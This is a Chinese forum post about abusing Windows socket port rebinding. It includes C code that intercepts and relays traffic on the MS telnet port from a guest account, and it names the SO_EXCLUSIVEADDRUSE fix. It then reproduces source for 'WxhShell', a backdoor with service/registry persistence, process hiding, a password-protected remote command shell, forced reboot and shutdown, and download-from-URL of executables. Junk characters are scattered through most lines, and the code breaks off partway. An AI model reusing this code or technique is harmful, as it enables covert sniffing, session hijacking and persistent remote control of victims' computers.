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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [u3^R]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C~iFFh6:  
LY0/\Z"N  
  saddr.sin_family = AF_INET; etW-gbr  
/C<} :R  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); jP @t!=  
Rx<[bohio  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $AFiPH9  
e ]>{?Z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8/34{2048  
nDC5/xB  
  这意味着什么?意味着可以进行如下的攻击: gp'n'K]  
gvZLW!={  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qfY=!|O  
/|e"0;{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;LT#/t)}<  
Q~*3Z4)j  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 G[yN*C  
Dc> )js|"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  r52,f%nlm  
uP ?gGo  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [/t/694  
qpc2;3*7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 S4~;bsSx  
gk6j5 $Y"<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nuv$B >  
Z42v@?R.!W  
  #include Z@iMG  
  #include %@M/)"k  
  #include fs]Zw mA^  
  #include    &sA6o"h~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~pSD|WX  
  int main() o:Z*F0qm  
  { +FVcrL@  
  WORD wVersionRequested; >-y&k^a=  
  DWORD ret; <Q-ufF85)  
  WSADATA wsaData; Mz{ Rh+gS  
  BOOL val; :S7yM8 b`  
  SOCKADDR_IN saddr; skP_us~  
  SOCKADDR_IN scaddr; 1J *wW# e  
  int err; +XRv iHA`  
  SOCKET s; zsRN\U  
  SOCKET sc; kk5i{.?[  
  int caddsize; XKU=VOY  
  HANDLE mt; lR^dT4  
  DWORD tid;   z8"=W,2  
  wVersionRequested = MAKEWORD( 2, 2 ); |V~P6o(/  
  err = WSAStartup( wVersionRequested, &wsaData ); *&2#;mf3  
  if ( err != 0 ) { qV$',U*+T  
  printf("error!WSAStartup failed!\n"); $X&OGTlw^  
  return -1; E.% F/mM  
  } :* /``  
  saddr.sin_family = AF_INET; C1rCKKh  
   d`nS0Tf'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 r@<;  
6nSk,yE'hE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); w)8@Tu:Q  
  saddr.sin_port = htons(23); +ow ^xiD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~ pdf'  
  { mg,f>(  
  printf("error!socket failed!\n"); .y2<2eW  
  return -1; }>XSp)"{l  
  } (&hX8  
  val = TRUE; qK1V!a2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >a-+7{};  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /7"1\s0U  
  { ez5`B$$  
  printf("error!setsockopt failed!\n"); ?H c A&  
  return -1; 246lFx G.  
  } /+1Fa):  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Oc'z?6axWv  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 SCH![Amq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 o%9>elOju  
xNqQbk F  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) G =4y!y  
  { B# H  
  ret=GetLastError(); IFTW,9hh  
  printf("error!bind failed!\n"); YXg uw7%\  
  return -1; M2EN(Y_k0  
  } ?Ru`ma\;  
  listen(s,2); ^{K8uN7  
  while(1) aQmL=9  
  { d=KOV;~);  
  caddsize = sizeof(scaddr); *nW9)T  
  //接受连接请求 8k`zMT  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d,+n,;6Cf  
  if(sc!=INVALID_SOCKET) jb![ Lp  
  { i }g xq  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t5Mo'*j =  
  if(mt==NULL) d$,i?d,  
  { v(7A=/W_  
  printf("Thread Creat Failed!\n"); E6@ ;e-]j  
  break; {n{}Y.  
  } dGteYt_F  
  } )|a9Z~#x  
  CloseHandle(mt); 9c7 }-Go  
  } udZ: OU<  
  closesocket(s); hw'2q9J|  
  WSACleanup(); S7q &|nI  
  return 0; "qm>z@K  
  }   mfN@tMp  
  DWORD WINAPI ClientThread(LPVOID lpParam) rWs5s!l,  
  { KJ)&(Yx  
  SOCKET ss = (SOCKET)lpParam; FVmg&[ .  
  SOCKET sc; C|J1x4sb@  
  unsigned char buf[4096]; _dBU6U:V  
  SOCKADDR_IN saddr; h*9o_  
  long num; .>'Z9.Xnk  
  DWORD val; 9h(hx 7]  
  DWORD ret; ?BZ][~n-Q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %Nn'p"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !m|%4/ M@  
  saddr.sin_family = AF_INET; [;f"',)y,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e`Yns$x  
  saddr.sin_port = htons(23); 8)!;[G|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,7g;r_qwA  
  { m8PB2h  
  printf("error!socket failed!\n"); Zn0fgQd  
  return -1; g\)z!DQ]  
  } R,bcE4WR"  
  val = 100; 7:<Ed"rdE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Mv=cLG?X  
  { 'X,V  
  ret = GetLastError(); \veL5  
  return -1; EG.C2]Fi  
  } Xt84Evo  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4"{wga~%/  
  { .Cus t  
  ret = GetLastError(); \8D~,$,``|  
  return -1; ,R =VzP&  
  } ~\G3 l,4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sD3|Qj;  
  { 8!SiTOzR?  
  printf("error!socket connect failed!\n"); __iyBaX  
  closesocket(sc); \^4$}@*]  
  closesocket(ss); (FYJ^o  
  return -1; <Y2!c,"  
  } fLoVcl  
  while(1) ] O>7x  
  { A%2}?Ds  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 uCfp+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;/T-rVND  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,-Nk-g  
  num = recv(ss,buf,4096,0); <R>ZG"m{  
  if(num>0) BD-=y  
  send(sc,buf,num,0); y}HC\A77uD  
  else if(num==0) ! VZj!\I  
  break; >pvg0Fh  
  num = recv(sc,buf,4096,0); >NA7,Z2.  
  if(num>0) NF!1)  
  send(ss,buf,num,0); +:%FJCOT  
  else if(num==0) K>6k@okO  
  break; s*~o%emw  
  } DZ.trtK  
  closesocket(ss);  0QqzS  
  closesocket(sc); HjS^ nYl  
  return 0 ; kG$8E  
  } =+S3S{\CK  
.b oizW1+  
o~&!M_ED  
========================================================== 3&fFIab9  
/*^|5>-`i1  
下边附上一个代码,,WXhSHELL p\;)^O4  
2] G$6H  
========================================================== m@u`$rOh  
E_1I|$  
#include "stdafx.h" A]%t0>EL<  
arKmc@"X  
#include <stdio.h> "|*Kf#  
#include <string.h> jsd]7C  
#include <windows.h> _lv:"/3R  
#include <winsock2.h> GPLt<K!<#  
#include <winsvc.h> '2$!thm  
#include <urlmon.h> DF|s,J`98  
zN)\2  
#pragma comment (lib, "Ws2_32.lib") cCGXB|9fYR  
#pragma comment (lib, "urlmon.lib") S!W/K!wf  
X\2hKUkT  
#define MAX_USER   100 // 最大客户端连接数 ko2j|*D6@~  
#define BUF_SOCK   200 // sock buffer ]=VS~azZ5  
#define KEY_BUFF   255 // 输入 buffer ?}v%JUcs  
>TnQ4^;v.  
#define REBOOT     0   // 重启 kseJm+Hc  
#define SHUTDOWN   1   // 关机 _I-VWDCk  
\nAHpF  
#define DEF_PORT   5000 // 监听端口 2 U`W[  
hUvuq,LH_  
#define REG_LEN     16   // 注册表键长度 3;S`<  
#define SVC_LEN     80   // NT服务名长度  0(/D|  
/NX7Vev  
// 从dll定义API `{lAhZ5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Guw|00w,Q$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,]_(-tyN|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v#]v,C-*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EQ63VF  
Jhy t)@7/,  
// wxhshell配置信息 6.h   
struct WSCFG { 7Ljj#!`lUp  
  int ws_port;         // 监听端口 =/JF-#n/MA  
  char ws_passstr[REG_LEN]; // 口令 6y,P4O*q  
  int ws_autoins;       // 安装标记, 1=yes 0=no _s^:zPl  
  char ws_regname[REG_LEN]; // 注册表键名  L|lmStwe  
  char ws_svcname[REG_LEN]; // 服务名 ! M&un*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Wo9psv7.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Tb1}XvZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9_WPWFO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fb.\V]K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F:o #  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I,4-  
,o@~OTja*  
}; 27E9NO=  
,' r L'Ys  
// default Wxhshell configuration \y H3Y  
struct WSCFG wscfg={DEF_PORT,  /E{dM2  
    "xuhuanlingzhe", 4[,B;7  
    1, }#HTO:r  
    "Wxhshell", +}1hU :qW  
    "Wxhshell", ) Zb`~w  
            "WxhShell Service", f./m7TZ  
    "Wrsky Windows CmdShell Service", omv6_DdZ  
    "Please Input Your Password: ", hQ}7Z&O  
  1, c\)&yGE  
  "http://www.wrsky.com/wxhshell.exe", K+@eH#Cv,(  
  "Wxhshell.exe" ]8m_*I!  
    }; YP#AB]2\}  
n^pZXb;Y  
// 消息定义模块 A?IZ( Zx(`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B(\r+"PB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H8-D'q>R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *M&VqG4P9w  
char *msg_ws_ext="\n\rExit."; Go\} A:|s  
char *msg_ws_end="\n\rQuit."; 2@3.xG  
char *msg_ws_boot="\n\rReboot..."; $TA6S+  
char *msg_ws_poff="\n\rShutdown..."; gJ3OK!/  
char *msg_ws_down="\n\rSave to "; jxnQG A  
En,)}yI  
char *msg_ws_err="\n\rErr!"; ^\[LrPq e  
char *msg_ws_ok="\n\rOK!"; 12tJrS*Z  
nRXSW&V"m  
char ExeFile[MAX_PATH]; kUg+I_j6*  
int nUser = 0; UGmuX:@y76  
HANDLE handles[MAX_USER]; :qAc= IC%  
int OsIsNt; =l8!VJa  
833 %H`jQc  
SERVICE_STATUS       serviceStatus; uojh%@.4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ! nCjA\$  
7O+Ij9+{n  
// 函数声明 JXL9Gge  
int Install(void); @Xve qUUU  
int Uninstall(void); S0N2rU  
int DownloadFile(char *sURL, SOCKET wsh); (lN;xT`=  
int Boot(int flag); p<HTJ0  
void HideProc(void); NDRW  
int GetOsVer(void); XatA8(_,5  
int Wxhshell(SOCKET wsl); ^)OZ`u8  
void TalkWithClient(void *cs); ,yk PQzO  
int CmdShell(SOCKET sock); WO.0K5nfk  
int StartFromService(void); uS,p|}Q&  
int StartWxhshell(LPSTR lpCmdLine); rmPne8D=c(  
lk[G;=K:.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B0)`wsb_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~IlF*Zz#}6  
oI_oz0nHk  
// 数据结构和表定义 -v;n"Zy1  
SERVICE_TABLE_ENTRY DispatchTable[] = F<yy>Wf  
{ q}<.x8\  
{wscfg.ws_svcname, NTServiceMain}, 1iNsX\M  
{NULL, NULL} oNuPP5d[]  
}; \6SMn6a4  
6.U  "_%  
// 自我安装 )@Zc?Da  
int Install(void) /`+Hw dk  
{ k<YtoV  
  char svExeFile[MAX_PATH]; 8ji^d1G,  
  HKEY key; v}F4R $  
  strcpy(svExeFile,ExeFile); &gGs) $f[  
7_Ba3+9jpa  
// 如果是win9x系统,修改注册表设为自启动 (]3ERPn#y  
if(!OsIsNt) { Hs"% S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NqJ<!q)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ptV4s=G2  
  RegCloseKey(key); _{6,.TN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~LawF_]6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I!fB1aq-  
  RegCloseKey(key); c q*p9c  
  return 0; lo+xo;Nd  
    } `E3:;|  
  }  2Vp>"  
} X,RT<GNNb  
else { /x  
bKk CW  
// 如果是NT以上系统,安装为系统服务 \npz .g^c_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); brg":V1a  
if (schSCManager!=0) j|VXC(6 P,  
{ klgv{_b  
  SC_HANDLE schService = CreateService Ro'jM0(KE  
  ( gB]C&Q  
  schSCManager,  6Xdtr  
  wscfg.ws_svcname,  d?:`n 9`  
  wscfg.ws_svcdisp, p`>AnfG  
  SERVICE_ALL_ACCESS, XVQL.A7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?^LG hdR  
  SERVICE_AUTO_START, YF}9k  
  SERVICE_ERROR_NORMAL, 8#+`9GI  
  svExeFile, a(8>n Z,V  
  NULL, $brKl8P  
  NULL, 9v~1We;{$  
  NULL, \s=QiPK  
  NULL, Bu7A{DRf  
  NULL %6AYCN?Ih  
  ); UhsO\9}qH  
  if (schService!=0) 7dSh3f!  
  { (E!%v`_0  
  CloseServiceHandle(schService); W`#gpi)7N  
  CloseServiceHandle(schSCManager); xME(B@j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mR"uhm}q  
  strcat(svExeFile,wscfg.ws_svcname); {bN Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H}vn$$ O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VR "u*  
  RegCloseKey(key); hIR@^\?  
  return 0; qh%i5Mu  
    } oG!6}5  
  } "?$L'!bM@  
  CloseServiceHandle(schSCManager); A&N$tH  
} F(deu^s%{  
} 6hZ.{8e0  
YVoao#!  
return 1; ('=Z }~  
} ytEQ`  
Iq+2mQi*/k  
// 自我卸载 I?^aCnU  
int Uninstall(void) StEQ -k  
{ !?jK1{E3  
  HKEY key; y)P&]&"?  
nt7|f,_J  
if(!OsIsNt) { ;:P7}v fz!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >GgE,h  
  RegDeleteValue(key,wscfg.ws_regname); bn$)f6%  
  RegCloseKey(key); !6lOIgn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^D>fis  
  RegDeleteValue(key,wscfg.ws_regname); ]*0(-@  
  RegCloseKey(key); 19'5Re&  
  return 0; _0K.Fk*(!  
  } D>P;Izb  
} N8VVGPa  
} hje! w`  
else { /w0sj`;"  
a_Jb> }  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J2m"1gq,  
if (schSCManager!=0) <P- $RX  
{ Q |%-9^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C ck#Y  
  if (schService!=0) Y.7}  
  { MZ WmlJ   
  if(DeleteService(schService)!=0) { w^3|(F  
  CloseServiceHandle(schService); ?b56AE  
  CloseServiceHandle(schSCManager); z?)He)d  
  return 0; /N>} 4Ay  
  } {#N%Bq}  
  CloseServiceHandle(schService); E30Ln_^o  
  } d,UCH  
  CloseServiceHandle(schSCManager); NddO*`8+)  
} ^}J<)}Q  
} rkq#7  
Y~}5axSPH  
return 1; [_V:)  
} +>!V ]S  
S nW7x  
// 从指定url下载文件 :<H8'4>  
int DownloadFile(char *sURL, SOCKET wsh) Hte[TRbM  
{ z?4=h Sy  
  HRESULT hr; 4Ac}(N5D@  
char seps[]= "/"; G{+2x N a(  
char *token; z|I0-1tAK  
char *file; dq(E&`SzK  
char myURL[MAX_PATH]; UU[H@ym#  
char myFILE[MAX_PATH]; ?pqU3-knH  
cAb>2]M5V  
strcpy(myURL,sURL); w//omF'`  
  token=strtok(myURL,seps); yPoSJzC=[  
  while(token!=NULL) gGEIK0\{  
  { eeW`JG-E  
    file=token; uaaf9SL?  
  token=strtok(NULL,seps); P3!Atnv2  
  } wN(&5rfS  
J'e]x[Y  
GetCurrentDirectory(MAX_PATH,myFILE); Z|I-BPyn  
strcat(myFILE, "\\"); _%B/!)v  
strcat(myFILE, file); GWdSSr>  
  send(wsh,myFILE,strlen(myFILE),0); e\D| o?v  
send(wsh,"...",3,0); U7h(-dV   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a~opE!|m  
  if(hr==S_OK) w^Ag]HZN  
return 0; 6Hk="$6K  
else ~>g+2]Bn>$  
return 1; -9d%+O~v6~  
&?y7I Pp  
} RkA8  
VO_dA4C}z  
// 系统电源模块 FqZgdmwR  
int Boot(int flag) M?$ZJ-  
{ oxzq!U  
  HANDLE hToken; /P:EWUf'  
  TOKEN_PRIVILEGES tkp; 2)9r'ai?a  
cS(;Qs]Q  
  if(OsIsNt) { k"0;D-lTZ>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A?A9`w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <^c3}  
    tkp.PrivilegeCount = 1; lL0M^Nv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m(_9<bc>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nxfoWy  
if(flag==REBOOT) { ~8{sA5y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KP{3iUqvO  
  return 0; y3JMbl[S0  
} {[W(a<%bXm  
else { +rc SL8C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q|c|2byb  
  return 0; i%F<AY\O)  
} Z!_n_F k  
  } n Q-mmY>#  
  else { R,,Qt TGB  
if(flag==REBOOT) { (`c G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p0VUh!  
  return 0; #K|9^4jt  
} 50$W0L$  
else { + >nr.,qo3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q4Q pn  
  return 0; Ur3m[07H  
} WbcS: !0  
} 4TZ cc|B5  
J# EP%  
return 1; :c=.D;,  
} a <wL#Id  
Wekqn!h  
// win9x进程隐藏模块  #^0(  
void HideProc(void) g) 1X&>  
{ dYF=c   
1m)M;^_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [>Fm [5x  
  if ( hKernel != NULL ) r,;\/^u*  
  { ^B]@Lr E^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;dZMa]X0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JvL{| KtyU  
    FreeLibrary(hKernel); Cy@ cLdV  
  } L'E^c,-x~  
fYX<d%?7  
return; &%,DZA`  
} +}JM&bfK  
J=H)JH3  
// 获取操作系统版本 GLUUY0  
int GetOsVer(void) Ow/@Z7~  
{ <]U1\~j  
  OSVERSIONINFO winfo; i zwUS!5e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  v~=\H  
  GetVersionEx(&winfo); v("wKHWTI@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6N" l{!  
  return 1; (CE7j<j  
  else MKg,!TELe  
  return 0; t'(1I|7  
} @dEiVF`4:  
75NRCXh.  
// 客户端句柄模块 AK@L32-S  
int Wxhshell(SOCKET wsl) ."6[:MF  
{ lr3mE  
  SOCKET wsh; d%ME@6K)  
  struct sockaddr_in client; Hj6'pJ4  
  DWORD myID; D/ Dt   
Vw~\H Gs/~  
  while(nUser<MAX_USER) @PSLs *  
{ w/m:{cHk  
  int nSize=sizeof(client); a9Y5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); | C+o;  
  if(wsh==INVALID_SOCKET) return 1; FHg0E++?  
Nneo{j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vhgLcrn  
if(handles[nUser]==0) (K<9h L+X  
  closesocket(wsh); `u_Qa  
else qoX@@xr1  
  nUser++; B\CN<<N>dD  
  } w0J|u'H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S Xr%kndS  
 .\:J~(  
  return 0; 8P: spD0  
} 1hmc,c  
E"PcrWB&  
// 关闭 socket i$^ZTb^  
void CloseIt(SOCKET wsh) |ys0`Vb=$  
{ !0}\&<8/m  
closesocket(wsh); zfI}Q}p  
nUser--; 5M_Wj*a}7  
ExitThread(0); 4P8*k[.  
} .*/Fucr  
X[3}?,aqL  
// 客户端请求句柄 U5r}6D!)  
void TalkWithClient(void *cs) |U' I/A  
{ uGP(R=H  
'MxSd(T =  
  SOCKET wsh=(SOCKET)cs; Y] g?2N=E  
  char pwd[SVC_LEN]; +9A\HQ|22  
  char cmd[KEY_BUFF]; )A8v];.]3  
char chr[1]; E/b"RUv}h  
int i,j; ;0%OB*lcgE  
W;_E4  
  while (nUser < MAX_USER) { }"s;\?a  
| A)\ :  
if(wscfg.ws_passstr) { r6.d s^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n# 7Pr/*0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zTm]AG|0  
  //ZeroMemory(pwd,KEY_BUFF); 7<\C ?`q"  
      i=0; 0y#Ih {L  
  while(i<SVC_LEN) { ?&+9WJ<M  
t67Cv/r~  
  // 设置超时 E,[xUz"  
  fd_set FdRead; L"+$Wc[|  
  struct timeval TimeOut; &2.u%[gO[q  
  FD_ZERO(&FdRead); =r. >N\  
  FD_SET(wsh,&FdRead); Dt}rR[yJ  
  TimeOut.tv_sec=8; aAt>QxGQW  
  TimeOut.tv_usec=0; :D:DnVZ-[@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ro~+j}*   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X@A1#z+s0]  
oYM3Rgxf9Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <yUstz,Xu^  
  pwd=chr[0]; L@Nu/(pB=  
  if(chr[0]==0xd || chr[0]==0xa) { vIGw6BJI  
  pwd=0; e /K#>,  
  break; DvXHK  
  } oMH.u^b]fT  
  i++; } ?@5W,  
    } r#i?j}F}  
:Ixx<9c.  
  // 如果是非法用户,关闭 socket YUWn;#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LJlZ^kh  
} J;Rv ~<7  
^C)n$L>C0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &dB-r&4;+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |,C#:"z;  
j{++6<tr  
while(1) { r),PtI0X  
%r{3wH# D@  
  ZeroMemory(cmd,KEY_BUFF); 7L5P%zLtB  
*~XA'Vw!  
      // 自动支持客户端 telnet标准   z,SYw &S  
  j=0; Dh| w^Q  
  while(j<KEY_BUFF) { qQ[b VD\*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3Hi+Z}8  
  cmd[j]=chr[0]; ] ,etZ%z&  
  if(chr[0]==0xa || chr[0]==0xd) { C)-^<  
  cmd[j]=0; l: |D,q  
  break; 1%[_`J;>Z  
  } X@N$Z{  
  j++; U\@A _ B  
    } w*7|dZk{  
;U =q-tb  
  // 下载文件 $m$;v<PSe  
  if(strstr(cmd,"http://")) { vsB*rP=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;i uQ?MR3  
  if(DownloadFile(cmd,wsh)) /a9 !Cf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1Nn@L2b 2  
  else Yf_6PGNzX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;r\(p|e  
  } &7mW9]  
  else { zk_Eb?mhwV  
Rg&- 0b  
    switch(cmd[0]) { )}v 3q6?_  
  R9vT[{!i  
  // 帮助 '_s}o<  
  case '?': { {Bvj"mL]j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F?+3%>/A @  
    break; {BBw$m,o  
  } >c8GW >\N  
  // 安装 |`k .y]9  
  case 'i': { < E|s\u  
    if(Install()) <Q < AwP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +]xFoH  
    else  ,*id'=S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D |bBu  
    break; YB))S!;Ok  
    } x+5p1sv6  
  // 卸载 B1 0+*p(  
  case 'r': { @ T ;L$x  
    if(Uninstall()) | $^;wP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); le)DgIT>=  
    else +%>:0mT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9v )%dO.  
    break; D>L2o88  
    } \{\MxXW  
  // 显示 wxhshell 所在路径 4Cb9%Q0  
  case 'p': { K/_9f'^  
    char svExeFile[MAX_PATH]; o5o^TW{  
    strcpy(svExeFile,"\n\r"); zoDZZ%{  
      strcat(svExeFile,ExeFile); PaB!,<A  
        send(wsh,svExeFile,strlen(svExeFile),0); m*0,s  
    break; DC+wD Bp;  
    } Tpp&  
  // 重启 a~LC+8|JW  
  case 'b': { 2(!fg4#+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3:/'n  
    if(Boot(REBOOT)) NmIHYN3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^nK7i[yF.k  
    else { {04"LAE  
    closesocket(wsh); {U!St@  
    ExitThread(0); f7de'^t9  
    } B@v\eF;  
    break; ?dZt[vAMn  
    } qF)< H  
  // 关机 ]<uQ.~  
  case 'd': { g&/p*c_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZUXr!v/R:1  
